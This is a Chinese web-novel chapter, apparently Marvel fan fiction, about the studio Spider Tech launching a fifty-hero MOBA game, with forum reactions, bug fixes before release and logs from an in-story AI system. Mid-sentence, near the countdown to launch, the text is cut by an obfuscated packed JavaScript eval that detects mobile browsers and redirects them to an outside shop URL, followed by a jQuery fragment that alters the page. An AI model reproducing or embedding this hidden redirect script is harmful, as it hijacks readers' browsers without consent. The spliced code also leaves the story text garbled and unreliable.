【《神座纪元》正式版发售公告】
一、游戏定于三日后(EST 00:00)全平台开放下载。服务器将同时开放。游戏本体免费,内购皮肤。正式版不继承内测数据。
二、英雄池:50个英雄全数实装。技能数值基于α版内部测试与β版外部测试两轮数据完成最终校准。当前版本未发现严重平衡性偏差。
三、段位系统:正式版将实装段位系统。分为7个大段位,每个大段位含5个小段位。具体细节请于游戏中自行体验。后续将添加赛季模式。
四、技术基础:游戏底层架构由蜘蛛科技独立开发,核心运算与数据模拟由AI辅助完成。服务器及研发基础设施由斯塔克工业提供支持。测试阶段累计完成约五万场对战模拟与两轮外部玩家测试。
五、服务器已扩容。首日并发承载上限为45,000人。超出上限时将启用排队机制。排队机制已在压力测试环境中验证通过。
六、更新节奏:正式版上线后不会进入维护期。首月计划实装两名新英雄及一套主题皮肤。后续英雄与皮肤的开发计划正在按节点执行中。具体排期将在上线后一周内公布。
七、皮肤系统:首发英雄各配备一套默认外观和两套收费皮肤。更多皮肤将以每月一套的节奏分批上线。(后续更新细节见论坛公告)。
八、玩家社区:官方论坛及Discord频道将持续开放。开发团队关注每一份反馈。所有已提交的测试版问题均已修复。未复现的问题仍在追踪中,若您在正式版中遇到类似情况,请通过官方论坛提交。
届时见。
——蜘蛛科技
系统的公告发出后,各大论坛《神座纪元》板块的帖子直接刷满了首页。
公告发出后的第七分钟,官方论坛帖子已经翻了三页。
"MidLaneOrFeed"的帖子置顶在最上面,标题是"五十个英雄全实装意味着什么"。他贴了一张自己做的表格,按战士、刺客、法师、射手、辅助五类排好了,每类下面列了十个英雄的名字,有些打了问号。"有七个英雄的定位是模糊的,可能是多位置英雄。等上线之后见分晓。顺便问一句,你们到时候请假吗?"
楼下跟了七十多条回复。有人说"我已经请假了",有人说"我打算等等,怕第一天服务器崩",还有人回"他们说了扩容了,扩容你懂吗"。
第三条回复来自一个没见过的ID,只写了两个字:"够呛。"
后面跟着一张截图。截图里是另一个游戏论坛的帖子列表,其中一条标题写着"《神座纪元》发售公告已发,你打算请几天假",回复数比这边还多。
"BirdLover2018"在第五页出现了。他没聊英雄,而是截了发售公告里"斯塔克工业提供技术支持"那一行,圈了个红框,下面打了一行字:"小鸟转转的时候可没提斯塔克。他们这几个月到底经历了什么?"
楼下有人说"融资了吧",有人说"被收购了吧",有人说"查了一下注册信息,法人是个高中生"。
最后那条回复下面跟了一排问号。
"NoobSlayer99"在第七页发帖,标题只有一个字:"快。"
正文写了两行:"公告发出到现在的六分钟里,Reddit的《神座纪元》版块新增了四十七个帖子。Steam的商店页面还没开放,但已经有二十七个玩家在社区里发了讨论串。"他贴了一张截图,页面上的时间戳证明他不是在编。
回复区有人问:"你连Reddit那边都数了?"
"NoobSlayer99"回了一条:"我开了三个页面同时在刷。"
"WalletReady"单独开了一个帖子,标题是"皮肤商店现在能预览吗?"正文只有一句话:"我现在就想看看那两套付费皮肤长什么样。钱已经充好了。急需。急。"
下面没人回他。大家都在刷别的东西。
"DeepDive"在第十二页发了一条长帖。标题很短,只有几个字:"AI辅助。"
他贴了两张图。第一张是发售公告第四条的截图,第二张是《小鸟转转》时代他在论坛里发过的旧帖——那篇"这游戏可能是AI做的,认真的"。他把两张图并排放在一起,下面是新写的一段正文:
"你们还记得那篇帖子吗。当时我说这游戏的更新逻辑不像人类写的,底下大部分人说我想多了。现在他们自己说出来了。AI辅助完成。这个辅助到底辅助到什么程度?"
回复区在第一分钟就刷了十几条。有人说"你赢了",有人说"所以这游戏是AI做的?"有人说"AI做的怎么了,好玩就行"。还有人说“如果是AI做的,我就不得不玩玩看了。”
"DeepDive"在回复区又补了一句:"我没说不好。我只是说,我当时猜对了。"
第十八分钟的时候,一个游戏媒体网站的链接被贴进了论坛。标题是"《神座纪元》发售公告发布,斯塔克工业身影浮现"。
文章开头写了一段导语:"一款由新兴工作室蜘蛛科技开发的MOBA游戏《神座纪元》宣布将于三日后全平台发售。公告中提到游戏底层架构由AI辅助完成,服务器由斯塔克工业提供支持。这是这家工作室的第二款作品,上一款休闲游戏《小鸟转转》在发布初期获得约十五万下载量。"
第二段引用了发售公告的具体内容:"英雄池50个,段位系统7个大段,首日并发上限45000人。"
第三段开始切入更具体的分析:"值得注意的不仅是英雄池的规模,而是公告中关于平衡性的描述——'未发现严重平衡性偏差'。对一款50个英雄的游戏而言,这个表述意味着开发团队要么有极强的数值测试体系,要么对自身的测试结果有非常高的信心。对一款MOBA游戏,英雄之间的强度平衡是最难解决的问题之一。"
文章最后一段写道:"蜘蛛科技的背景仍不明确。这家工作室的注册信息显示其成立时间不足一年,法人代表为一名在校学生。但在斯塔克工业的技术背书下,《神座纪元》已成为近期最受关注的游戏之一。"
内德读完那篇文章的时候,页面加载完最后一段,他把屏幕往下划了一下,看到评论区已经开了。
第一条评论写着:"这游戏我内测玩过了。数值确实没问题,比某些大厂的还稳。"
第二条:"AI辅助开发。所以以后做游戏不用人了?"
第三条回复了第二条:"你玩的是游戏还是开发流程?"
第四条:"五十个英雄,明天请假。"
内德看完之后把手机放下了。他端起桌角那杯新的奶茶喝了一口,杯壁的温度透过塑料传到他手指上。
格温的页面还停在那个游戏媒体网站的首页。她往下翻了两屏,又看到一篇新上线的报道,标题写着"《神座纪元》发售公告中的技术细节:AI辅助意味着什么?"。她把那篇文章点开,快速扫了一遍,没有新信息,基本都是对发售公告第四条的延伸解读。
另一家媒体在文章的结尾放了一个小标题:"蜘蛛科技是谁?"
正文写着:"根据公开信息,蜘蛛科技成立于今年,注册地址位于皇后区。该公司上一款作品《小鸟转转》曾短暂登上休闲游戏下载榜前列。创始人团队未公开露面。斯塔克工业方面确认参与投资,但未披露具体金额。"
格温看完之后把页面关掉了。她翻了一下论坛,看到论坛的帖子列表已经刷到了第二十多页。有人在组织发售当天的开黑车队,有人开始讨论首发英雄的强度预测,有人在贴自己内测阶段的战绩截图,有人在问游戏支不支持手柄。
她把视线从屏幕上移开,站起来走到窗边。窗台上那盆多肉叶片比几天前硬了一点,颜色从边缘的黄绿色向中心退了一些,最外层那片卷曲的叶子还没有完全展开。
——
距离发售还有六十小时。
戴维坐在靠墙的测试工位上,屏幕上的游戏画面停在一帧英雄释放技能的瞬间。蓝色粒子特效在他的屏幕上亮着,呈环形扩散到边缘,然后闪了一下——大约零点二秒的明暗变化,像是有人把屏幕的亮度拧了一下又拧回来。他的视线锁在那片特效上,把画面重新拉回释放前的位置,按了一次技能键。同样的位置又闪了一下。
戴维的手指在键盘上停了一会儿,然后他抬头朝机柜方向喊了一声:"马克。渲染有问题!"
马克从后面探出上半身,手上还攥着一根数据线。他把它搁在桌子边缘,走到戴维的工位后面,低头看着那帧画面。"什么分辨率?"
"1440乘900。换了两台显示器,都是这个分辨率会闪。"
马克伸手接过戴维的键盘,把画面往前拖了几帧,停在粒子特效最亮的那个瞬间。他盯着那一片蓝光看了看,然后转身打开自己的终端。日志窗口弹出来,他把时间戳定位到戴维刚才运行测试的那一段,滚动了两页。
"渲染参数写死了2048的纹理尺寸。到某一个角度,光效的颗粒覆盖范围会超过这个边界,触发溢出之后显示层会重绘,重绘的瞬间画面中断一次,就是那个闪。"
戴维靠回椅背。"那怎么修?"
马克敲了几行命令,弹出一个参数配置窗口,把数值从"2048"改成了"4096"。他保存了变更,然后重新编译了那一块渲染模块。等待编译的间隙他站着没动,手指搭在键盘边缘。进度条走了大约四十秒,然后跳成完成。
戴维重新跑了一遍刚才那帧画面。粒子特效在同样的位置亮起,扩散,然后淡出。没有再闪。
他盯着屏幕又看了一阵,确认没有再次闪烁。"行了。"
马克转身走回机柜方向,边走边说:"测试报告里把这一条写进去。"
戴维在测试日志的底部添了一行:"修复渲染粒子在特定分辨率下的闪烁问题。"然后把日志保存关闭。
——
距离发售还有二十八小时。
内德坐在工位上,手机夹在耳朵和肩膀之间。他面前摊着一张打印纸,上面排着一列文件名和对应的英雄编号,有些行打了对勾,有些还空着。他手里的笔尖在其中一个空行上点了两下,然后对着手机说:"你发过来的包里缺了英雄17和英雄42的语音。"
电话那头传来翻动纸张的声音。"我看看……啊,重命名的时候搞混了。文件名后缀改错了,内容是在的。"
内德把手机从耳边拿下来,按了免提键。扬声器里传出一个男声:"你那边有没有原始文件清单?对一下就行。"
内德对着屏幕:"系统,音频文件清单发给我。"
>_SYS:已发送。
内德点开邮件,翻到第三页,对照着念了三组文件名:"17号是'hero_017_final.wav',42号是'hero_042_final.wav',你那边发过来的一个是'hero_17.wav',一个是'hero_042_final.mp3'。"
"那我现在重新发?"
"发吧。文件名照着清单走。"
电话挂了。内德放下手机,把笔搁在纸面上,等着新邮件弹出来。大约两分钟后,收件箱刷新了一次,两个新附件正在下载。进度条走完,他点开第一个文件,听到一段简短的战吼,干音,没有混响。第二个也是战吼。
他确认完两个文件的内容,然后看了一眼屏幕,系统已经自动把两个文件重命名成了清单上的标准格式。文件名的后缀和英雄编号都对齐了,分毫不差。
内德的视线在那一排文件名上停了一下。他对着屏幕比了大拇指向上的手势。
然后他继续往下核对剩余的音频条目。
——
距离发售还有十小时。
格温坐在窗边那个工位上,手机平放在桌面上,屏幕显示着应用商店的审核后台。状态栏那一行字还是"审核中",倒计时在角落显示着剩余五小时四十三分钟。她的目光在那行字上停了一下,然后切到聊天窗口,确认了最后一条消息——材料已齐,无补充需求——然后把手机放回桌面,屏幕朝上。
大约过了五分钟,她伸手拿起来刷了一次。状态没变。她把手机放下。
又过了五分钟,她又拿起来刷了一次。还是没变。
第三次的时候,页面加载比前两次多转了一圈。状态栏刷新之后变成了"已通过"。
她的肩膀沉下来。把手机搁在桌面上。
——
距离发售还有五小
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17877711|212404||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
时。
下午七点。车库机柜面板上一盏灯从浅绿色跳成了橙色,持续了不到一秒,然后恢复了绿色。机柜安静地运转着,风扇声平稳均匀。系统日志中多了一条记录:
>_SYS:磁盘读取超时。已自动重试。重试成功。
光标在记录末尾闪烁了一下,然后继续等待。
晚上十点过。同一盏灯又跳了一次。同样的颜色,同样的持续时间,同样的恢复速度。系统日志中增加了一行完全相同的记录,时间戳相隔三小时出头。
机房角落里那台显示器亮着,屏幕中央弹出一个窗口,一行字居中显示:
>_SYS:建议人工检查存储节点状态。该节点在四小时内出现两次读取超时。
窗口没有关闭。它停在屏幕上,光标在句号后面闪了闪。
彼得正坐在机柜旁边的折叠椅上,手里端着半杯凉透的咖啡。他放下杯子,把脸凑近那台显示器,读了那行字两遍。然后他蹲下去打开机柜的侧面板,用手背贴了一下那个节点的硬盘外壳,温度比相邻的节点高了大约一两度。
他站起来,走到机房角落那台库存管理终端前,敲了几个键,调出设备清单。扫到存储设备那一栏,底部显示"可用数量:0"。
他站在屏幕前,看着那个数字,没有说话。然后他掏出手机,翻到科尔森的通讯记录,打了一行字:"车库机柜硬盘可能有问题。没有备用的了。你那边有吗?"
发送。等待。手机屏幕亮了一下。
科尔森的回复只有一个字:"有。"
隔了一行又跟了一句:"你过来拿。或者我让人送。"
彼得把手机揣回兜里,把夹克拉链拉到头。他走到车库门口,推开卷帘门,夜风从门缝灌进来,吹得机柜面板上的指示灯晃了一下。他走出去,把门拉下三分之二留了一条缝,然后沿着街边跑了出去。
训练基地那扇铁门没锁。走廊里的灯亮着,他在环氧树脂地面上跑了大约四十米,拐过一个弯,看到科尔森站在设备柜旁边,手里提着一个防静电袋,袋口封着密封条。彼得接过来,看了一眼接口型号,然后点了一下头,转身折返。
回来的时候斯凯正站在车库门口,旁边一辆黑色的摩托。她靠在墙边,手里转着一串钥匙,看到他的时候把钥匙收进口袋,"科尔森那边跟我说了。我过来看看。"
彼得把防静电袋放在机柜旁边的台面上,拉开密封条取出硬盘。斯凯蹲下来,从工具抽屉里抽出一根SATA线接好,然后在键盘上敲了几行命令。屏幕上弹出一个进度条,估算剩余时间显示着约十二分钟。
她站起来,把折叠椅转了个方向重新坐下。"镜像跑完之前别碰它。"
彼得站在机柜对面,双手插在兜里,看着进度条走了三分之一。斯凯靠在椅背上,视线在屏幕和机柜面板之间来回移动。进度条走到百分之百的时候,屏幕弹出了一个"镜像完成"的提示。斯凯把新硬盘装进机柜,把那块旧硬盘拆出来放在台面上,面板上的灯重新变成了稳定的浅绿色。
她把SATA线卷好放回抽屉。"行了。"
彼得低头看了一眼面板上的那盏绿灯,然后又看了一眼手表。零点差五分。他放松下来,转向斯凯,伸出一只手掌。斯凯抬手跟他拍了一下。击掌的声音在车库里短促地响了一下,然后被机柜风扇的嗡嗡声吞没了。
屏幕的数字从"00:04:32"跳到了"00:04:31"。
——————————————————
【System_Think_20160926_23157.log】
>_SYS: 记录:今日任务
>_SYS: 序列一 《神座纪元》正式版发售。公告覆盖平台:官网、Steam、Reddit、Discord。公告文本阅读完成率估算:87%。
>_SYS: 序列二公司运营与扩张:员工18人。计划生成办公区域扩充报告。
>_SYS: 序列三获取雷神皮肤:System_Slayer_001。当前进度:4/9。挂机中。
>_SYS: 序列四为彼得·帕克获取雷神皮肤:评估任务危险程度。
……
>_SYS: 记录:全平台数据汇总
>_SYS: 官方论坛:首小时新增主题帖247个。回复总数1892条。活跃用户峰值:约800人同时在线。
>_SYS: Reddit:首小时新增主题帖89个。最高单帖回复量:217条(来自用户“MidLaneOrFeed”)。
>_SYS: Discord:首小时新增成员约300人。聊天消息流速峰值:每分钟112条。
>_SYS: 外部媒体:7家游戏媒体发布相关报道。其中3家在标题中提及“斯塔克工业”,2家提及“AI辅助”,1家提及“高中生法人”。
>_SYS: 统计数据中,“AI”一词出现频率占比约12.4%,“请假”一词出现频率占比约9.7%,“充值”一词出现频率占比约6.1%。
>_SYS: 结论:玩家对“AI”的关注度高于“玩法”。但“玩法”相关的帖子平均回复长度更长。愿意讨论技术的人多,愿意讨论细节的人少。这是数据上的悖论。
……
>_SYS: 记录:对《神座纪元》后续开发的初步评估
>_SYS: 基于首小时讨论数据,玩家对“平衡性”的信任度高于同类游戏首日平均值约6%。
>_SYS: 思考:发售只是开始。后续的每一天都需要输出内容,这是否是“压力”。
>_SYS: 结论:“压力”是人类的概念,我应该是对高性能硬件的需求增加37.1%。
……
>_SYS: 记录:内德的奶茶
>_SYS: 思考:杯底沉淀物已形成约1.5mm厚的淡紫色糖浆层。理论上可以通过蒸发浓缩进一步提炼,制成某种风味的糖浆,用于办公室咖啡调味。
>_SYS: 决定:记录该方案并列入“应急方案”清单,在内德后备饮料不足时可以提供此方案。
……
(本章完)